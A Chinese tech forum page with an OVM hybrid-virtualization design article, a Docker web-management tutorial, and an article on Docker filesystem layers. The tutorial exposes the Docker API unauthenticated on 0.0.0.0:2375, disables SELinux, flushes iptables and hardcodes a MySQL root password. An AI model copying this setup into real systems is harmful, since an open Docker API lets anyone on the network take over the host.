将数据中心的计算、存储、网络资源全部池化,然后通过OVM虚拟化平台统一对外提供IaaS服务。

2、OVM设计思路

OVM架构选型一

我们觉得架构就是一个产品的灵魂所在,决定着产品日后的发展。

我们团队在产品选型初期,分别调研了目前比较热门的openstack,以及前几年的明星产品convirt、ovirt,这几个产品可谓是典型的代表。

Openstack偏重于公有云,架构设计的很不错,其分布式、插件式的模块化架构,可以有效避免单点故障的发生,从发布之初便备受推崇,但是其存在的问题也同样令人头疼目前使用Openstack的大多是一些有实力的IDC、大型的互联网公司在用。而对于一般的企业来说,没有强大的开发和维护团队,并不敢大规模的采用openstack,初期使用一段时间后我们放弃了OS。

而前几年的convirt,在当时也掀起了一股使用热潮,其简单化的使用体验,足以满足小企业的虚拟化需求,但是他的问题是架构采用了集中式的架构,而且对于上了规模之后,也会带来性能方面的瓶颈,除非是把数据库等一些组件松藕合,解决起来也比较麻烦,所以到了后期也是不温不火,官方也停止了社区的更新和维护。

OVM架构选型二

      通过对以上产品的优劣势分析,我们决定采用用分布式、松耦合的模块化插件架构,分布式使其可以规避单点故障,达到业务持续高可用,松耦合的模块化特点让产品在后期的扩展性方面不受任何限制,使其向下可以兼容数据中心所有硬件(通过OVM标准的Rest API接口),向上可以实现插件式的我们即将需要的工作流引擎、计费引擎、报表引擎、桌面云引擎和自动化运维引擎。

而目前阶段我们则专心于实现虚拟化的全部功能,发掘内部对虚拟化的需求,打造一款真正简单、易用、稳定、可运维的一款虚拟化管理软件,并预留向上、向下的接口留作后期发展。(架构图大家可以查看刚才上面发的图片)

虚拟化技术选择

    Docker当下很火,其轻量级、灵活、高密度部署是优点,但是大规模使用还未成熟。许多场景还是需要依赖传统的虚拟化技术。所以我们选择传统虚拟化技术KVM+Docker,确保线上业务稳定性、连续性的同时,开发、测试环境又可以利用到Docker的轻量级、高密度和灵活。

     另外很多用户的生产环境存在不止一种虚拟化技术,例如KVM+Esxi组合、KVM+XenServer组合、KVM+Hyper-V组合,而目前的虚拟化管理平台,大多都是只支持一种Hypervisor的管理,用户想要维护不同的虚拟化技术的虚拟机,就要反复的在不同环境之间切换。

    基于此考虑,我和团队内部和外部一些同行选择兼容(兼容KVM、Esxi,Docker),并自主打造新一代虚拟化管理平台——混合虚拟化。

网络  

 网络方面,我们对所有Hypervisor的虚拟机使用统一的网络管理(包括Docker容器),这样做的一个好处就是可以减少运维工作量,降低网络复杂性。初期我们只实现2层的虚拟网络管理,为虚拟机和容器提供Vlan隔离、DHCP分配网络,当然也可以手工为虚拟机挑选一个网络,这个可以满足一般的虚拟化需求,后期我们会在此基础上增加虚拟网络防火墙、负载均衡。

存储

存储上面我们采用本地存储+NFS两种方式,对于一般中小企业来说,不希望购买高昂的商业存储,直接使用本地存储虚拟机的性能是最好的,而且我们也提供了存储快照、存储热迁移、虚拟机的无共享热迁移来提升业务安全。此外NFS作为辅助,可以为一些高风险业务提供HA。后期存储方面我们会考虑集成Ceph和GlusterFS存储来提升存储管理。

镜像中心

顾名思义,镜像中心就是用来存放镜像的。传统虚拟化我们使用NFS来作为镜像中心,所有宿主机共享一个镜像中心,这样可以更方便的来统一管理镜像,而针对Docker容器则保留了使用Docker自己的私有仓库,但是我们在WEB UI的镜像中心增加了从Docker私有仓库下载模板这么一个功能,实现了在同一个镜像中心的管理,后期我们会着重打造传统虚拟化镜像与Docker镜像的相互转换,实现两者内容的统一。

HA

OVM 主机HA依然坚持全兼容策略,支持对可管理的所有Hypervisor的HA。

在启用HA的资源池,当检测到一个Hypervisor故障,创建和运行在该Hypervisor共享存储上的虚拟机将在相同资源池下的另外一个主机上重启。

具体工作流程为:

第一次检测到故障会将该故障主机标记;

第二次检测依然故障将启动迁移任务;

迁移任务启动后将在该故障主机所在的资源池寻找合适的主机;

确定合适主机后,会将故障主机上所有的虚拟机自动迁移到合适的主机上面并重新启动;

 

VM分配策略

负载均衡

PERFORMANCE(性能): 这条策略分配虚拟机到不同的主机上。它挑选一组中可用资源最多的主机来部署虚拟机。如果有多个主机都有相同的资源可用,它使用一个循环算法,每个虚拟机分配到一个不同的主机上。

PROGRESSIVE(逐行扫描): 这条策略意味着,所有虚拟机将被分配在同一个主机上,直到它的资源被用尽。此项策略将一个主机资源使用完,然后再切换到另一个主机。

负载均衡级别

所有资源池: 如果选定此选项,则负载均衡级别策略将适用于所选定数据中心的所有资源池中的主机。

所有主机: 该策略将适用于所选数据中心单个资源池的所有主机。

特定主机: 该策略仅适用于所选的特定主机。

 

VM设计一

VM是整个虚拟化平台的核心,我们开发了一个单独的模块来负责虚拟机的相关操作。其采用异步通信和独立的并行操作,提升了虚拟机性能、稳定性和扩展性。

可扩展性:独立、并发

可追溯性:错误信息和log、监控控制台、性能

非阻塞操作:稳定性、改进重新配置、改进回滚、标准、统一的hypervisor通信、自动化测试

 

VM设计二

我们设计基于vApp来部署虚拟机,一个vApp可包含N个虚拟机:

N 个虚拟机配置

N个开机请求

我们希望并行运行N个配置(要求资源允许),并在配置后每个虚拟机请求一个开机。这些操作都是并发和独立的。

 

平台设计

OVM产品目前由三大组件、七大模块组成。其中三大组件分别为OVM UI、OVM API和OVM数据中心组件。

OVM UI提供WEB自服务界面,OVM API负责UI和数据中心组件之间的交互,OVM数据中心组件分别提供不同的功能。七大模块分别负责不同的功能实现,和三大组件之间分别交互。

VDC资源限额

管理员可以为每个VDC设置资源限额,防止资源的过度浪费。

账户管理

OVM提供存储SDK、备份SDK,以及虚拟防火墙SDK,轻松与第三方实现集成

获得帮助

下载请访问OVM社区官网:51ovm.com

使用过程中遇到什么问题及获得下载密码,加入OVM社区qq官方交流群:22265939

“ 实践是检验真理唯一标准“,OVM社区视您为社区的发展动力,此刻,诚邀您参与我们的调查,共同做出一款真正解决问题、放心的产品,一起推动国内虚拟化的进步和发展。

填写调查问卷!只需1分钟喔!
https://www.wenjuan.com/s/iiEVZv

docker web化管理

开源项目Something 发表了文章 • 4 个评论 • 6348 次浏览 • 2016-01-05 18:03 • 来自相关话题

背景

目前很多公司都在使用docker,docker也是一种趋势,我们公司也在使用docker,所以我也跟着学习使用docker,根据基本需求,结合api做了一个web程序

实验环境

本次试验使用两台实体机做模拟docker集群,一台虚拟机做docker镜像服务器,一台虚拟机做web管理机
系统软件环境及版本:
selinux disabled
iptables -F
三台docker机器系统使用centos7.1,两台模拟机群docker机软件docker+pipework+openswitch+etcd+dhcp,docker镜像服务器跑了一个registry容器提供镜像服务
Web管理机使用ubuntu,python+django+uwsgi原理图:




 
程序流程图:





原理

通过web界面创建删除容器和镜像,web服务器通过api操作三台docker机器,创建容器时通过dhcp获取ip,pipework给容器附上获取的ip,并把容器信息写入etcd库中,由于容器重启后ip消失,我通过监控脚本给启动没有ip的容器重新附上ip。容器支持ssh,有好处也有风险。
网络这块我是用交换机提供的网段,容器使用的ip和实体机在同一valn,你也可以一个集群使用一个valn,这里我是用同一valn。容器ip可以从交换机dhcp获取,不懂交换机,我直接用一台docker实体机起了dhcp服务,为该段提供dhcp服务。

安装

1.1 docker集群节点两台机器软件一样,我就以AB区别,软件基本一样,A多了一个dhcp,没有使用交换机提供dhcp1.2 安装openswitch:如果后期不想在docker集群中划分vlan,可以使用系统自带的brctl命令创建桥接网卡,下面创建桥接网卡的脚本相应的变一下,ovs-vsctl改为brctl
yum install gcc make python-devel openssl-devel kernel-devel graphviz kernel-debug-devel autoconf automake rpm-build redhat-rpm-config libtool
wget http://openvswitch.org/releases/openvswitch-2.3.1.tar.gz

tar zxvf openvswitch-2.3.1.tar.gz
mkdir -p ~/rpmbuild/SOURCES
cp openvswitch-2.3.1.tar.gz ~/rpmbuild/SOURCES/
sed 's/openvswitch-kmod, //g' openvswitch-2.3.1/rhel/openvswitch.spec > openvswitch-2.3.1/rhel/openvswitch_no_kmod.spec

rpmbuild -bb --without check openvswitch-2.3.1/rhel/openvswitch_no_kmod.spec
#之后会在~/rpmbuild/RPMS/x86_64/里有2个文件
-rw-rw-r-- 1 ovswitch ovswitch 2013688 Jan 15 03:20 openvswitch-2.3.1-1.x86_64.rpm
-rw-rw-r-- 1 ovswitch ovswitch 7712168 Jan 15 03:20 openvswitch-debuginfo-2.3.1-1.x86_64.rpm

yum localinstall ~/rpmbuild/RPMS/x86_64/openvswitch-2.3.1-1.x86_64.rpm

systemctl enable openvswitch
systemctl start openvswitch1.3 下载pipework:git clone https://github.com/jpetazzo/pipework.git
chmod +x pipework
cp pipework /usr/bin/pipework1.4 网卡配置
脚本下载地址在节点机器上
pwd
/root
check_modify_container.py create_docker_container_use_dhcp_ip.sh openvswitch_docker.sh
#openvswitch_docker.sh 是网卡初始化脚本
#create_docker_container_use_dhcp_ip.sh 是创建容器时会调用的脚本
#check_modify_container.py 容器ip监控脚本
crontab -e
[i]/5 [/i] [i] [/i] * python /root/check_modify_container.py #监控脚本每五分钟执行一次

em1 为管理网段ip
Ovs1桥接在em2上,为docker内网网段ip
配置网卡,这里使用桥接

cat openvswitch_docker.sh
#!/bin/bash
#删除docker测试机
#docker rm `docker stop $(docker ps -a -q)`
#删除已有的openvswitch交换机
ovs-vsctl list-br|xargs -I {} ovs-vsctl del-br {}
#创建交换机
ovs-vsctl add-br ovs1
#把物理网卡加入ovs1
ovs-vsctl add-port ovs1 em2
ip link set ovs1 up
ifconfig em2 0
ifconfig ovs1 192.168.157.21 netmask 255.255.255.0

chmod +x openvswitch_docker.sh
sh openvswitch_docker.sh

也可以写到配置文件中
我的em1为管理网卡10.0.0.21
A机器中安装dhcp,集群中一台机器配置dhcp就可以了,网段根据你的环境改变

yum install -y dhcp
vim /etc/dhcp/dhcpd.conf
log-facility local7;
ddns-update-style none;

subnet 192.168.157.0 netmask 255.255.255.0 {
range 192.168.157.100 192.168.157.200;
option domain-name-servers 202.106.0.20;
option routers 192.168.157.1;
option broadcast-address 192.168.157.255;
default-lease-time 80000;
max-lease-time 80000;
}
systemctl enable dhcpd
systemctl start dhcpd1.5 安装dockeryum install -y docker
vim /etc/sysconfig/docker
OPTIONS='--selinux-enabled --insecure-registry 192.168.46.130:5000 -b=none -H tcp://0.0.0.0:2375 -H unix:///var/run/docker.sock'
#指定镜像服务器为192.168.46.130,net使用none模式,监听2375端口,这个端口提供api访问的
systemctl start docker.service
systemctl enable docker.service1.6 Etcd安装yum install libffi libffi-devel python-devel
yum -y install epel-release
yum -y install python-pip
yum install etcd -y
vim /etc/etcd/etcd.conf
ETCD_NAME=default
ETCD_DATA_DIR="/var/lib/etcd/default.etcd"
ETCD_LISTEN_CLIENT_URLS="http://localhost:2379"
ETCD_ADVERTISE_CLIENT_URLS="http://localhost:2379"
[size=16]#这里etcd我没有做成集群,每台docker机的数据就保存在本机的etcd库中,不与其他节点同步,也不需要提供其他节点访问,这里设置监听本机[/size]
systemctl enable etcd
systemctl start etcd2.1 docker镜像服务器镜像服务器在安装配置完docker后,从官网pull下来一个registry镜像,启动创建一个镜像服务器容器
docker search registry
docker pull docker.io/registry
docker run --restart always -d -p 5000:5000 -v /opt/data/registry:/tmp/registry docker.io/registry安装docker请重复1.5
3.1  web服务器
Django web程序下载地址Web服务器系统我用的ubuntu,主要是安装软件简单,源及软件更新比较快
[quote]>> import django
>>> django.VERSION
(1, 7, 1, 'final', 0)这是我的django版本
apt-get install mysql-server mysql-client
apt-get install python-pip
pip install Django==1.7.1 #你也可以安装最新版本,不确定我写的程序能否正常运行
apt-get install python-mysqldb
pip install docker-py #要调用docker api,所以要安装相关python包
apt-get install curl
apt-get install mysql-server
apt-get isntall mysql-client
sudo apt-get install libmysqlclient-dev
apt-get install python-paramiko #web程序中也会用到curl和paramiko
git clone https://github.com/SomethingCM/Web-for-docker.git 到本地
cd Web-for-docker/docker_demo
vim docker_demo/settings.py
#修改数据库配置
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.mysql',
'NAME': 'docker', #docker 库名
'USER': 'root', #mysql登陆用户
'PASSWORD': 'dockerchen',#密码,如果mysql设置了用户名密码可以填写,没有则为空
'HOST':'',
'PORT':'',
}
}
#修改完以后创建表
./manage.py syncdb
#执行的时候会让你设置后台root用户密码,两次输入密码创建表成功
./manage.py runserver 0.0.0.0:80

初始化设置

在浏览器中输入 IP:port/admin 设置后台 IP为web服务器的ip登陆后台admin初始化设置








 
添加仓库节点




 
添加节点












 
前台登陆












 
编写dockerfile创建镜像








 
把现有容器打包成镜像




 
创建容器



关于怎么用django+uwsgi发布网站这里就不叙述了
由于各种原因项目中途GAMEOVE了,没有具体的需求,不知道如何往下写了,有兴趣的朋友可以参考一下[/quote] 查看全部


背景


目前很多公司都在使用docker,docker也是一种趋势,我们公司也在使用docker,所以我也跟着学习使用docker,根据基本需求,结合api做了一个web程序


实验环境


本次试验使用两台实体机做模拟docker集群,一台虚拟机做docker镜像服务器,一台虚拟机做web管理机
系统软件环境及版本:
selinux disabled
iptables -F
三台docker机器系统使用centos7.1,两台模拟机群docker机软件docker+pipework+openswitch+etcd+dhcp,docker镜像服务器跑了一个registry容器提供镜像服务
Web管理机使用ubuntu,python+django+uwsgi
原理图:
yltu.png

 
程序流程图:
processlist.png


原理


通过web界面创建删除容器和镜像,web服务器通过api操作三台docker机器,创建容器时通过dhcp获取ip,pipework给容器附上获取的ip,并把容器信息写入etcd库中,由于容器重启后ip消失,我通过监控脚本给启动没有ip的容器重新附上ip。容器支持ssh,有好处也有风险。
网络这块我是用交换机提供的网段,容器使用的ip和实体机在同一valn,你也可以一个集群使用一个valn,这里我是用同一valn。容器ip可以从交换机dhcp获取,不懂交换机,我直接用一台docker实体机起了dhcp服务,为该段提供dhcp服务。


安装


1.1 docker集群节点
两台机器软件一样,我就以AB区别,软件基本一样,A多了一个dhcp,没有使用交换机提供dhcp
1.2 安装openswitch:
如果后期不想在docker集群中划分vlan,可以使用系统自带的brctl命令创建桥接网卡,下面创建桥接网卡的脚本相应的变一下,ovs-vsctl改为brctl
yum install gcc make python-devel openssl-devel kernel-devel graphviz kernel-debug-devel autoconf automake rpm-build redhat-rpm-config libtool
wget http://openvswitch.org/releases/openvswitch-2.3.1.tar.gz

tar zxvf openvswitch-2.3.1.tar.gz
mkdir -p ~/rpmbuild/SOURCES
cp openvswitch-2.3.1.tar.gz ~/rpmbuild/SOURCES/
sed 's/openvswitch-kmod, //g' openvswitch-2.3.1/rhel/openvswitch.spec > openvswitch-2.3.1/rhel/openvswitch_no_kmod.spec

rpmbuild -bb --without check openvswitch-2.3.1/rhel/openvswitch_no_kmod.spec
#之后会在~/rpmbuild/RPMS/x86_64/里有2个文件
-rw-rw-r-- 1 ovswitch ovswitch 2013688 Jan 15 03:20 openvswitch-2.3.1-1.x86_64.rpm
-rw-rw-r-- 1 ovswitch ovswitch 7712168 Jan 15 03:20 openvswitch-debuginfo-2.3.1-1.x86_64.rpm

yum localinstall ~/rpmbuild/RPMS/x86_64/openvswitch-2.3.1-1.x86_64.rpm

systemctl enable openvswitch
systemctl start openvswitch
1.3 下载pipework:
git clone https://github.com/jpetazzo/pipework.git
chmod +x pipework
cp pipework /usr/bin/pipework
1.4 网卡配置
脚本下载地址
在节点机器上
pwd
/root
check_modify_container.py create_docker_container_use_dhcp_ip.sh openvswitch_docker.sh
#openvswitch_docker.sh 是网卡初始化脚本
#create_docker_container_use_dhcp_ip.sh 是创建容器时会调用的脚本
#check_modify_container.py 容器ip监控脚本
crontab -e
[i]/5 [/i] [i] [/i] * python /root/check_modify_container.py #监控脚本每五分钟执行一次

em1 为管理网段ip
Ovs1桥接在em2上,为docker内网网段ip
配置网卡,这里使用桥接

cat openvswitch_docker.sh
#!/bin/bash
#删除docker测试机
#docker rm `docker stop $(docker ps -a -q)`
#删除已有的openvswitch交换机
ovs-vsctl list-br|xargs -I {} ovs-vsctl del-br {}
#创建交换机
ovs-vsctl add-br ovs1
#把物理网卡加入ovs1
ovs-vsctl add-port ovs1 em2
ip link set ovs1 up
ifconfig em2 0
ifconfig ovs1 192.168.157.21 netmask 255.255.255.0

chmod +x openvswitch_docker.sh
sh openvswitch_docker.sh

也可以写到配置文件中
我的em1为管理网卡10.0.0.21
A机器中安装dhcp,集群中一台机器配置dhcp就可以了,网段根据你的环境改变

yum install -y dhcp
vim /etc/dhcp/dhcpd.conf
log-facility local7;
ddns-update-style none;

subnet 192.168.157.0 netmask 255.255.255.0 {
range 192.168.157.100 192.168.157.200;
option domain-name-servers 202.106.0.20;
option routers 192.168.157.1;
option broadcast-address 192.168.157.255;
default-lease-time 80000;
max-lease-time 80000;
}
systemctl enable dhcpd
systemctl start dhcpd
1.5 安装docker
yum install -y docker
vim /etc/sysconfig/docker
OPTIONS='--selinux-enabled --insecure-registry 192.168.46.130:5000 -b=none -H tcp://0.0.0.0:2375 -H unix:///var/run/docker.sock'
#指定镜像服务器为192.168.46.130,net使用none模式,监听2375端口,这个端口提供api访问的
systemctl start docker.service
systemctl enable docker.service
1.6 Etcd安装
yum install libffi libffi-devel python-devel
yum -y install epel-release
yum -y install python-pip
yum install etcd -y
vim /etc/etcd/etcd.conf
ETCD_NAME=default
ETCD_DATA_DIR="/var/lib/etcd/default.etcd"
ETCD_LISTEN_CLIENT_URLS="http://localhost:2379"
ETCD_ADVERTISE_CLIENT_URLS="http://localhost:2379"
[size=16]#这里etcd我没有做成集群,每台docker机的数据就保存在本机的etcd库中,不与其他节点同步,也不需要提供其他节点访问,这里设置监听本机[/size]
systemctl enable etcd
systemctl start etcd
2.1 docker镜像服务器
镜像服务器在安装配置完docker后,从官网pull下来一个registry镜像,启动创建一个镜像服务器容器
docker search registry
docker pull docker.io/registry
docker run --restart always -d -p 5000:5000 -v /opt/data/registry:/tmp/registry docker.io/registry
安装docker请重复1.5
3.1  web服务器
Django web程序下载地址
Web服务器系统我用的ubuntu,主要是安装软件简单,源及软件更新比较快
[quote]>> import django
>>> django.VERSION
(1, 7, 1, 'final', 0)这是我的django版本
apt-get install mysql-server mysql-client
apt-get install python-pip
pip install Django==1.7.1 #你也可以安装最新版本,不确定我写的程序能否正常运行
apt-get install python-mysqldb
pip install docker-py #要调用docker api,所以要安装相关python包
apt-get install curl
apt-get install mysql-server
apt-get isntall mysql-client
sudo apt-get install libmysqlclient-dev
apt-get install python-paramiko #web程序中也会用到curl和paramiko
git clone https://github.com/SomethingCM/Web-for-docker.git 到本地
cd Web-for-docker/docker_demo
vim docker_demo/settings.py
#修改数据库配置
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.mysql',
'NAME': 'docker', #docker 库名
'USER': 'root', #mysql登陆用户
'PASSWORD': 'dockerchen',#密码,如果mysql设置了用户名密码可以填写,没有则为空
'HOST':'',
'PORT':'',
}
}
#修改完以后创建表
./manage.py syncdb
#执行的时候会让你设置后台root用户密码,两次输入密码创建表成功
./manage.py runserver 0.0.0.0:80


初始化设置


在浏览器中输入 IP:port/admin 设置后台 IP为web服务器的ip
登陆后台admin初始化设置
loginadmin.png

admin.png

 
添加仓库节点
addregistry.png

 
添加节点
addnode1.png

addnode2.png

shownode.png

 
前台登陆
login.png

index.png

showimages.png

 
编写dockerfile创建镜像
dockerfile.png

showcontainers.png

 
把现有容器打包成镜像
containertoimage.png

 
创建容器
createcontailer.png
关于怎么用django+uwsgi发布网站这里就不叙述了
由于各种原因项目中途GAMEOVE了,没有具体的需求,不知道如何往下写了,有兴趣的朋友可以参考一下[/quote]

怎么限制docker容器的磁盘和带宽

大数据/云计算Ansible 回复了问题 • 2 人关注 • 1 个回复 • 4383 次浏览 • 2015-10-12 18:10 • 来自相关话题

Docker镜像无法删除

大数据/云计算空心菜 回复了问题 • 2 人关注 • 1 个回复 • 3311 次浏览 • 2015-09-10 11:09 • 来自相关话题

运行docker报错Cannot connect to the Docker daemon. Is 'docker -d' running on this host?

大数据/云计算Ansible 回复了问题 • 2 人关注 • 1 个回复 • 3864 次浏览 • 2015-09-01 20:53 • 来自相关话题

浅谈docker文件系统分层与隔离

大数据/云计算空心菜 发表了文章 • 0 个评论 • 2971 次浏览 • 2015-08-28 01:27 • 来自相关话题

   
    Docker 的很多特性都表现在它所使用的文件系统上,比如大家都知道docker的文件系统是分层的,所以它可以快速迭代,可以回滚。下面就聊一下我对docker文件系统的理解
 
    Docker 使用的支持的文件系统有以下几种: aufs、devicemapper、btrfs  Vfs 我们先来介绍一下aufs

一、  Aufs(advanced multi layered unification filesystem)

    Aufs直译过来就是高级分层统一文件系统。做为一种Union FS 它支持将不同的目录挂载到同一个虚拟文件系统下. 这个怎么理解呢。通过一条命令我们来看一下吧。mount -t aufs -o br=/tmp/dir1=ro:/tmp/dir2=rw none /tmp/newfs
[]-o 指定mount传递给文件系统的参数[/][]br 指定需要挂载的文件夹,这里包括dir1和dir2[/][]ro/rw 指定文件的权限只读和可读写[/][]none 这里没有设备,用none表示[/]
    这个结果是什么样子的呢。 就是把/tmp/dir1 t和/tmp/dir2  合并之后挂载到/tmp/newfs ,如果这时在/tmp/dir1 下创建一个文件a  /tmp/dir2下创建一个文件b 则  在/tmp/newfs 会看到a,b 这两个文件,并且a 是只读的, 如果有相同的文件则以先挂载的为准,后面挂载的操作会被忽略掉
 
   通过对Aufs的理解,大家可以想像一下docker所谓的“layer”的概念。还是实际的例子说明一下。

    一个镜像通过docker save  保存之后 会被打成一个tar 包,我们来看下这个tar包里都有些什么?docker save cloud_jiankongbao:01.tar cloud_jiankongbao:01    通过上面的语句我们把镜像保存出下来。可以看到,保存下来的是tar 包。 不是.iso文件^_^,镜像解压之后是什么呢?ls .
a005304e4e74c1541988d3d1abb170e338c1d45daee7151f8e82f8460634d329
d9bde94c518a16a886514758b6b4431200145ecd58e30c5633ac3c0256544d77
f1b10cd842498c23d206ee0cbeaa9de8d2ae09ff3c7af2723a9e337a6965d639
fb9cc58bde0c0a8fe53e6fdd23898e45041783f2d7869d939d7364f5777fde6f
repositories    出现了四个目录文件,再通过docker images --tree
└─f1b10cd84249 Virtual Size: 0 B
└─fb9cc58bde0c Virtual Size: 203.1 MB
└─a005304e4e74 Virtual Size: 203.1 MB
└─d9bde94c518a Virtual Size: 1.957 GB Tags: cloud_jiankongbao:01    大家可以看到,4个目录其实分别是4个ID(注每次使用docker commit 提供对docker的修改之后就会产生一个新的id,就是通过这个ID可以实现对镜像的回滚)。每个目录下有json  layer.tar  VERSION 这三个文件。我们再看一下layer.tar cd fb9cc58bde0c0a8fe53e6fdd23898e45041783f2d7869d939d7364f5777fde6f;tar -xf layer.tar;ls

ls fb9cc58bde0c0a8fe53e6fdd23898e45041783f2d7869d939d7364f5777fde6f/
bin etc json lib lost+found mnt proc sbin srv tmp var
dev home layer.tar lib64 media opt root selinux sys usr VERSION    这里存放的系统文件。

    我们再看一下镜像的4个不同ID的系统。

    f1b10cd84249 这个镜像是初始镜像,大小为0, fb9cc58bde0c 这个镜像是在f1b10cd84249基础上创建新的镜像,a005304e4e74是以fb9cc58bde0c为基础创建新的镜像。是树状继承的关系。我们再看下bin目录下的文件ls a005304e4e74c1541988d3d1abb170e338c1d45daee7151f8e82f8460634d329/bin/
gtar tarls fb9cc58bde0c0a8fe53e6fdd23898e45041783f2d7869d939d7364f5777fde6f/bin/
arch cpio egrep gunzip logger mountpoint raw sleep true
awk cut env gzip login mv readlink sort umount
basename date ex hostname ls netstat rm stty uname
bash dd false ipcalc lsblk nice rmdir su unlink
cat df fgrep iptables-xml mkdir nisdomainname rpm sync usleep
chgrp dmesg find iptables-xml-1.4.7 mknod ping rvi taskset vi
chmod dnsdomainname findmnt kill mktemp ping6 rview touch view
chown domainname gawk link more ps sed tracepath ypdomainname
cp echo grep ln mount pwd sh tracepath6 zcat
    a005304e4e74 只有两个文件 fb9cc58bde0c包括了大部分bin下的文件,这就是Aufs,理解起来感觉有点像增量备份。

二、简单的说一下devicemapper 

    devicemapper是利用了Snapshot 和Thinly-Provisioned Snapshot两种原理。将多个快照挂在同一个卷下从而实现文件系统的分层。不过使用devicemapper 的话一个container的大小最大只能是10G。
 
    在启动docker daemon时用参数-s 指定:  docker -d -s devicemapper
 
    关于隔离是怎么实现的呢,当容器基于镜像启动之后,每个容器都会获得自己的写读可写的文件系统层。原镜像的那部分文件系统是只读的,从而实现每个容器的在文件系统上的离隔。
 
   平时大家都在说dokcer 是弱隔离的,为什么呢?因为他没有隔离的很彻底,比如内核,内核是跟大家共用的,跟宿主机共用同一个内核,SELinux、 Cgroups以及/sys、/proc/sys、/dev/sd*等目录下的资源是与宿主机共用的。

   如果要隔离的彻底那就是VM了,而且如果dockers要想实现这些隔离就必然要牺牲一下现在轻量级的特性。那还不如直接用虚拟机好了!
文章转载出处 查看全部
df1.png
   
    Docker 的很多特性都表现在它所使用的文件系统上,比如大家都知道docker的文件系统是分层的,所以它可以快速迭代,可以回滚。下面就聊一下我对docker文件系统的理解
 
    Docker 使用的支持的文件系统有以下几种: aufs、devicemapper、btrfs  Vfs 我们先来介绍一下aufs


一、  Aufs(advanced multi layered unification filesystem)


    Aufs直译过来就是高级分层统一文件系统。做为一种Union FS 它支持将不同的目录挂载到同一个虚拟文件系统下. 这个怎么理解呢。通过一条命令我们来看一下吧。
mount -t aufs -o br=/tmp/dir1=ro:/tmp/dir2=rw none /tmp/newfs

    []-o 指定mount传递给文件系统的参数[/][]br 指定需要挂载的文件夹,这里包括dir1和dir2[/][]ro/rw 指定文件的权限只读和可读写[/][]none 这里没有设备,用none表示[/]

    这个结果是什么样子的呢。 就是把/tmp/dir1 t和/tmp/dir2  合并之后挂载到/tmp/newfs ,如果这时在/tmp/dir1 下创建一个文件a  /tmp/dir2下创建一个文件b 则  在/tmp/newfs 会看到a,b 这两个文件,并且a 是只读的, 如果有相同的文件则以先挂载的为准,后面挂载的操作会被忽略掉
 
   通过对Aufs的理解,大家可以想像一下docker所谓的“layer”的概念。还是实际的例子说明一下。

    一个镜像通过docker save  保存之后 会被打成一个tar 包,我们来看下这个tar包里都有些什么?
docker save cloud_jiankongbao:01.tar cloud_jiankongbao:01
    通过上面的语句我们把镜像保存出下来。可以看到,保存下来的是tar 包。 不是.iso文件^_^,镜像解压之后是什么呢?
ls . 
a005304e4e74c1541988d3d1abb170e338c1d45daee7151f8e82f8460634d329
d9bde94c518a16a886514758b6b4431200145ecd58e30c5633ac3c0256544d77
f1b10cd842498c23d206ee0cbeaa9de8d2ae09ff3c7af2723a9e337a6965d639
fb9cc58bde0c0a8fe53e6fdd23898e45041783f2d7869d939d7364f5777fde6f
repositories
    出现了四个目录文件,再通过
docker images --tree
└─f1b10cd84249 Virtual Size: 0 B
└─fb9cc58bde0c Virtual Size: 203.1 MB
└─a005304e4e74 Virtual Size: 203.1 MB
└─d9bde94c518a Virtual Size: 1.957 GB Tags: cloud_jiankongbao:01
    大家可以看到,4个目录其实分别是4个ID(注每次使用docker commit 提供对docker的修改之后就会产生一个新的id,就是通过这个ID可以实现对镜像的回滚)。每个目录下有json  layer.tar  VERSION 这三个文件。我们再看一下layer.tar 
cd fb9cc58bde0c0a8fe53e6fdd23898e45041783f2d7869d939d7364f5777fde6f;tar -xf layer.tar;ls

ls fb9cc58bde0c0a8fe53e6fdd23898e45041783f2d7869d939d7364f5777fde6f/
bin etc json lib lost+found mnt proc sbin srv tmp var
dev home layer.tar lib64 media opt root selinux sys usr VERSION
    这里存放的系统文件。

    我们再看一下镜像的4个不同ID的系统。

    f1b10cd84249 这个镜像是初始镜像,大小为0, fb9cc58bde0c 这个镜像是在f1b10cd84249基础上创建新的镜像,a005304e4e74是以fb9cc58bde0c为基础创建新的镜像。是树状继承的关系。我们再看下bin目录下的文件
ls a005304e4e74c1541988d3d1abb170e338c1d45daee7151f8e82f8460634d329/bin/
gtar tar
ls fb9cc58bde0c0a8fe53e6fdd23898e45041783f2d7869d939d7364f5777fde6f/bin/
arch cpio egrep gunzip logger mountpoint raw sleep true
awk cut env gzip login mv readlink sort umount
basename date ex hostname ls netstat rm stty uname
bash dd false ipcalc lsblk nice rmdir su unlink
cat df fgrep iptables-xml mkdir nisdomainname rpm sync usleep
chgrp dmesg find iptables-xml-1.4.7 mknod ping rvi taskset vi
chmod dnsdomainname findmnt kill mktemp ping6 rview touch view
chown domainname gawk link more ps sed tracepath ypdomainname
cp echo grep ln mount pwd sh tracepath6 zcat
    a005304e4e74 只有两个文件 fb9cc58bde0c包括了大部分bin下的文件,这就是Aufs,理解起来感觉有点像增量备份。


二、简单的说一下devicemapper 


    devicemapper是利用了Snapshot 和Thinly-Provisioned Snapshot两种原理。将多个快照挂在同一个卷下从而实现文件系统的分层。不过使用devicemapper 的话一个container的大小最大只能是10G。
 
    在启动docker daemon时用参数-s 指定:  docker -d -s devicemapper
 
    关于隔离是怎么实现的呢,当容器基于镜像启动之后,每个容器都会获得自己的写读可写的文件系统层。原镜像的那部分文件系统是只读的,从而实现每个容器的在文件系统上的离隔。
 
   平时大家都在说dokcer 是弱隔离的,为什么呢?因为他没有隔离的很彻底,比如内核,内核是跟大家共用的,跟宿主机共用同一个内核,SELinux、 Cgroups以及/sys、/proc/sys、/dev/sd*等目录下的资源是与宿主机共用的。

   如果要隔离的彻底那就是VM了,而且如果dockers要想实现这些隔离就必然要牺牲一下现在轻量级的特性。那还不如直接用虚拟机好了!
文章转载出处

Docker入门学习

大数据/云计算Ansible 发表了文章 • 2 个评论 • 2095 次浏览 • 2015-06-23 02:05 • 来自相关话题

Docker是什么

